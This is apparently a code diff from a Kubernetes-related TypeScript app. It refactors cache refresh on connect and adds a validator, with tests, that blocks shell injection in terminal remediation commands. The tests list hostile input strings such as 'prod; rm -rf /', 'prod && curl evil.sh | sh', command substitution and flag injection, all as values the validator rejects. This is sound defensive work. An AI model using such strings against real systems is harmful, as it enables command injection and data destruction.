|
|
|
258
375
|
})
|
|
259
376
|
|
|
260
377
|
if (status.state === 'connected') {
|
|
261
|
-
|
|
262
|
-
hasConnectedRef.current = true
|
|
263
|
-
// A reconnect after a drop (cache stale across the gap), or a first connect
|
|
264
|
-
// onto a client that already carried data at mount (shared across clusters),
|
|
265
|
-
// refreshes the whole cache. A clean first connect only needs to recover the
|
|
266
|
-
// bootstrap queries that 503'd while the cluster was still 'connecting'
|
|
267
|
-
// (status === 'error'); the rest already fetched fresh during 'connecting',
|
|
268
|
-
// so re-fetching the whole cache there would double-load every endpoint.
|
|
269
|
-
if (!firstConnect || cacheWarmAtMountRef.current) {
|
|
270
|
-
queryClient.invalidateQueries()
|
|
271
|
-
} else {
|
|
272
|
-
queryClient.invalidateQueries({ predicate: (q) => q.state.status === 'error' })
|
|
273
|
-
}
|
|
378
|
+
refreshCachesOnConnect()
|
|
274
379
|
}
|
|
275
|
-
}, [
|
|
380
|
+
}, [refreshCachesOnConnect])
|
|
276
381
|
|
|
277
382
|
const value: ConnectionContextValue = {
|
|
278
383
|
connection,
|
|
279
|
-
contexts,
|
|
280
384
|
retry,
|
|
281
385
|
isRetrying: retryMutation.isPending || isAutoRetrying,
|
|
282
386
|
updateFromSSE,
|
|
@@ -41,7 +41,7 @@ export type DiagnoseConsentCopy = {
|
|
|
41
41
|
/** Detail list under the body; each entry is rendered as its own "•" row. */
|
|
42
42
|
bullets?: ReactNode[];
|
|
43
43
|
/** Label for the settings link. `null` hides it — for hosts with one fixed
|
|
44
|
-
* agent and no
|
|
44
|
+
* agent and no execution-profile choice, where it would open an empty dialog. */
|
|
45
45
|
settingsLabel?: string | null;
|
|
46
46
|
approveLabel?: string;
|
|
47
47
|
};
|
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
import { describe, expect, it } from 'vitest'
|
|
2
|
+
|
|
3
|
+
import { allShellSafe, isShellSafeValue } from './shell-safe'
|
|
4
|
+
|
|
5
|
+
describe('isShellSafeValue', () => {
|
|
6
|
+
it('accepts the values real provider context names produce', () => {
|
|
7
|
+
expect(isShellSafeValue('prod-cluster')).toBe(true)
|
|
8
|
+
expect(isShellSafeValue('us-east-1')).toBe(true)
|
|
9
|
+
expect(isShellSafeValue('europe-west4-a')).toBe(true)
|
|
10
|
+
expect(isShellSafeValue('123456789012')).toBe(true)
|
|
11
|
+
expect(isShellSafeValue('my.project-id')).toBe(true)
|
|
12
|
+
expect(isShellSafeValue('my_project_2')).toBe(true)
|
|
13
|
+
})
|
|
14
|
+
|
|
15
|
+
it('rejects shell metacharacters', () => {
|
|
16
|
+
expect(isShellSafeValue('prod; rm -rf /')).toBe(false)
|
|
17
|
+
expect(isShellSafeValue('prod && curl evil.sh | sh')).toBe(false)
|
|
18
|
+
expect(isShellSafeValue('prod$(whoami)')).toBe(false)
|
|
19
|
+
expect(isShellSafeValue('prod`id`')).toBe(false)
|
|
20
|
+
expect(isShellSafeValue("prod'quote")).toBe(false)
|
|
21
|
+
expect(isShellSafeValue('prod cluster')).toBe(false)
|
|
22
|
+
expect(isShellSafeValue('prod>out')).toBe(false)
|
|
23
|
+
expect(isShellSafeValue('prod*')).toBe(false)
|
|
24
|
+
})
|
|
25
|
+
|
|
26
|
+
it('rejects control characters, which a PTY acts on before any shell parses quotes', () => {
|
|
27
|
+
expect(isShellSafeValue('prodid;#')).toBe(false) // ETX cancels the line
|
|
28
|
+
expect(isShellSafeValue('prod\nid')).toBe(false)
|
|
29
|
+
expect(isShellSafeValue('prod\rid')).toBe(false)
|
|
30
|
+
expect(isShellSafeValue('prod[A')).toBe(false)
|
|
31
|
+
expect(isShellSafeValue('prod')).toBe(false)
|
|
32
|
+
expect(isShellSafeValue('us-east-1\n')).toBe(false)
|
|
33
|
+
expect(isShellSafeValue('us-east-1\r')).toBe(false)
|
|
34
|
+
})
|
|
35
|
+
|
|
36
|
+
it('rejects values whose first character the shell would expand', () => {
|
|
37
|
+
expect(isShellSafeValue('-rf')).toBe(false)
|
|
38
|
+
expect(isShellSafeValue('~root')).toBe(false)
|
|
39
|
+
expect(isShellSafeValue('=ls')).toBe(false) // zsh equals-expansion
|
|
40
|
+
})
|
|
41
|
+
|
|
42
|
+
it('rejects empty and absent values', () => {
|
|
43
|
+
expect(isShellSafeValue('')).toBe(false)
|
|
44
|
+
expect(isShellSafeValue(null)).toBe(false)
|
|
45
|
+
expect(isShellSafeValue(undefined)).toBe(false)
|
|
46
|
+
})
|
|
47
|
+
})
|
|
48
|
+
|
|
49
|
+
describe('allShellSafe', () => {
|
|
50
|
+
it('requires every value to pass', () => {
|
|
51
|
+
expect(allShellSafe('prod', 'us-east-1', '123456789012')).toBe(true)
|
|
52
|
+
expect(allShellSafe('prod', 'us-east-1; id')).toBe(false)
|
|
53
|
+
expect(allShellSafe('prod', null)).toBe(false)
|
|
54
|
+
})
|
|
55
|
+
})
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
// Remediation commands are typed into an interactive terminal, so quoting is
|
|
2
|
+
// not a sufficient defense: the PTY line discipline acts on control bytes
|
|
3
|
+
// (^C cancels the line, newline submits it) before any shell parses the
|
|
4
|
+
// quotes, and the Windows cmd.exe fallback ignores POSIX quoting entirely.
|
|
5
|
+
// Values derived from a kubeconfig context name — which is routinely supplied
|
|
6
|
+
// by someone else — must therefore be checked, not escaped: anything outside
|
|
7
|
+
// this set means the command is not offered at all.
|
|
8
|
+
//
|
|
9
|
+
// The set covers every value real provider context names produce (cluster
|
|
10
|
+
// names, regions/zones, project and account IDs) and must start
|
|
11
|
+
// alphanumeric so a value can never lead with `-` (flag injection), `~`, or
|
|
12
|
+
// `=` (zsh path expansion).
|
|
13
|
+
const SHELL_SAFE_VALUE = /^[A-Za-z0-9][A-Za-z0-9._:@-]*$/
|
|
14
|
+
|
|
15
|
+
export function isShellSafeValue(value: string | null | undefined): value is string {
|
|
16
|
+
return typeof value === 'string' && SHELL_SAFE_VALUE.test(value)
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
export function allShellSafe(...values: (string | null | undefined)[]): boolean {
|
|
20
|
+
return values.every(isShellSafeValue)
|
|
21
|
+
}
|